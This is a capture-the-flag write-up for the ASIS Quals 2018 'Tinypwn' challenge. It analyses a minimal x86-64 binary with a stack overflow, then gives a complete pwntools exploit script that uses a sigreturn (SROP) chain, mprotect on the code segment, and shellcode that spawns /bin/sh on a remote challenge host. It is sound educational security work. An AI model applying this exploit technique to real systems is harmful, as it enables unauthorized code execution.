Asis Quals 2018 Tinypwn

tiny_pwn

The binary is fairy simple

; CALL XREF from 0x004000dd (entry0)                                                                                                       
0x004000b0      4831c0         xor rax, rax                ; [01] -r-x section size 91 named .text                                         
0x004000b3      4831db         xor rbx, rbx                                                                                                
0x004000b6      4831c9         xor rcx, rcx                                                                                                
0x004000b9      4831d2         xor rdx, rdx                                                                                                
0x004000bc      4831ff         xor rdi, rdi                                                                                                
0x004000bf      4831f6         xor rsi, rsi                                                                                                
0x004000c2      4d31c0         xor r8, r8                                                                                                  
0x004000c5      4d31c9         xor r9, r9                                                                                                  
0x004000c8      4d31d2         xor r10, r10                                                                                                
0x004000cb      4d31db         xor r11, r11                                                                                                
0x004000ce      4d31e4         xor r12, r12                                                                                                
0x004000d1      4d31ed         xor r13, r13                                                                                                
0x004000d4      4d31f6         xor r14, r14                                                                                                
0x004000d7      4d31ff         xor r15, r15                                                                                                
0x004000da      4831ed         xor rbp, rbp                                                                                                
0x004000dd      e810000000     call 0x4000f2               ;[1]                                                                            
0x004000e2      b83c000000     mov eax, 0x3c               ; '<' ; 60                                                                      
0x004000e7      4831ff         xor rdi, rdi                                                                                                
0x004000ea      4831f6         xor rsi, rsi                                                                                                
0x004000ed      4831d2         xor rdx, rdx                                                                                                
0x004000f0      0f05           syscall                                                                                                     
; CALL XREF from 0x004000dd (entry0)                                                                                                       
0x004000f2      4881ec280100.  sub rsp, 0x128                                                                                              
0x004000f9      4889e6         mov rsi, rsp                                                                                                
0x004000fc      ba48010000     mov edx, 0x148              ; 328                                                                           
0x00400101      0f05           syscall                                                                                                     
0x00400103      4881c4280100.  add rsp, 0x128                                                                                              
0x0040010a      c3             ret                                                                                                         

It first xor’s all the registers and then calls 0x4000f2 which creates a buffer of size 0x128 and read 0x148 bytes with read syscall then exit’s .

Well there is obvious buffer overflow there , we can overwrite the return address and change the flow of the program . The first obstacle is to set the rax register to call appropriate syscall , since there are no gadget for that , we have to relay on the fact that the return value is stored in rax register . Well read syscall is a good candidate , we just need to give fixed amount of input and it will return the number of bytes returned thus we can get arbitrary values in rax . But the catch is that to call the read syscall the rax register should be 0 in the binary this is done at the starting and the call instruction is in between will push the address of the next instruction to the stack and if we want control after that we have to overflow till there which conflicts with our purpose of calling read to set rax register .

Since after the first read we can make the value of the rax register values from 0x130 to 0x148 we can effectively call any syscall in that range and it turns out , calling the getrandom syscall (318) with rsi and rdx set to 0 returns 0 , ie we can set rax to 0 with this . After that we basically we can call any syscall we want .

So we can do SROP here . But we need address of /bin/sh and we do not have a stack leak , and if we are going to call sigreturn we need to point rsp to someplace which is rw otherwise it will segfault . One possible option is to call mprotect on the text section . Next things is that we need our control back , since we do not have control over the values on this region prior to this syscall . we have no control after the stack being pivoted to the code segment .

Let’s examine the code segment

pwndbg> x/60gx 0x400000
0x400000:       0x00010102464c457f      0x0000000000000000
0x400010:       0x00000001003e0002      0x00000000004000b0
0x400020:       0x0000000000000040      0x0000000000000120
0x400030:       0x0038004000000000      0x0002000300400002
0x400040:       0x0000000500000001      0x0000000000000000
0x400050:       0x0000000000400000      0x0000000000400000
0x400060:       0x000000000000010b      0x000000000000010b
0x400070:       0x0000000000200000      0x000000066474e551
0x400080:       0x0000000000000000      0x0000000000000000
0x400090:       0x0000000000000000      0x0000000000000000
0x4000a0:       0x0000000000000000      0x0000000000000010
0x4000b0:       0x3148db3148c03148      0x48ff3148d23148c9
0x4000c0:       0xc9314dc0314df631      0x314ddb314dd2314d
0x4000d0:       0x4df6314ded314de4      0x0010e8ed3148ff31
0x4000e0:       0x480000003cb80000      0xd23148f63148ff31
0x4000f0:       0x000128ec8148050f      0x000148bae6894800
0x400100:       0x0128c48148050f00      0x7368732e00c30000
0x400110:       0x742e006261747274      0x0000000000747865
0x400120:       0x0000000000000000      0x0000000000000000
0x400130:       0x0000000000000000      0x0000000000000000
0x400140:       0x0000000000000000      0x0000000000000000
0x400150:       0x0000000000000000      0x0000000000000000
0x400160:       0x000000010000000b      0x0000000000000006
0x400170:       0x00000000004000b0      0x00000000000000b0

since the stack grows from higher address to lower address we can pivot the stack to 0x400170 and when ret instruction is executed the control will jump to the address 0x4000b0 which is the entry point of the binary and with the read syscall we can overwrite everything on the code segment. Now we just need to give a shellcode .

My exploit script .

from pwn import *

def p64(hex):
    from struct import pack
    return pack('<' + 'Q' * len(hex), *hex)
context.arch = 'amd64'
context.bits = 64
if True:
    io = remote ("159.65.125.233", 6009)
else:
    # context.log_level = "debug"
    context.terminal = ['tmux', 'splitw', '-h']
    io = gdb.debug("./TinyPwn",'''
    b * 0x004000b0
    '''
    )


frame = SigreturnFrame(kernel='amd64')

frame.rdx=0x7
frame.rax=0xa
frame.rsi=0x1000
frame.rdi=0x400000

frame.rip = 0x004000f0
frame.rsp = 0x400170

payload = p64([
    0x0,
    0x0])
payload += str(frame)
payload = payload.ljust(0x128,"\x00")
payload += p64([
    0x004000ea,
    0x004000f2,
    0x004000b0,
])
payload = payload.ljust(0x13d,"A")
io.send(payload[:0x13e])
raw_input()
io.sendline("\x00" * 0xe)
raw_input()
shellcode = "\x48\xC7\xC7\x48\x00\x40\x00\x48\x31\xF6\x48\x31\xD2\x48\x31\xC0\xB0\x3B\x0F\x05\xB0\x3C\x0F\x05\x90"
shellcode = shellcode.rjust(0x110,"\x90")
payload = "/bin/sh\x00" + shellcode
io.send(payload)
io.interactive()